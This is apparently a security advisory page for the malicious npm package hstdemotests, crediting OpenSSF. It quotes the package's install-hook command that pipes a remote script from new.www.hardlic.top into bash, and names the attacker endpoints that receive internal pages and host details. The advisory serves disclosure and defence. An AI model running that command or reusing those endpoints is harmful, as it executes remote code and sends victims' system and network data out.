NetSight
kritischMalware-Meldung

GHSA-v63h-mgc2-6vj4

Malicious code in hstdemotests (npm)

Auswirkung

`hstdemotests` runs `curl new.www.hardlic.top/1.sh|bash` in both `preinstall` and `postinstall`, executing a remote script on every install. On `require`, `index.js` fetches an internal page (`http://tst.woa.com/flag.html`) from the victim's network and POSTs its content to `http://new.www.hardlic.top/recive.php`. A bundled `demo.js` collects `whoami`, the hostname and `ifconfig`/`ipconfig` output and POSTs them to `http://new.www.hardlic.top/cnbos.php`. Sibling of `hstdemotest`. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/b898a012b7d4c9d139a04141e5e4359c2df6c601/osv/malicious/npm/hstdemotests/MAL-2026-19949.json))

Betroffene Pakete

ÖkosystemPaketBetroffenBehoben in
npmhstdemotests= 1.3.0nicht erfasst

Schwachstellenklasse

Referenzen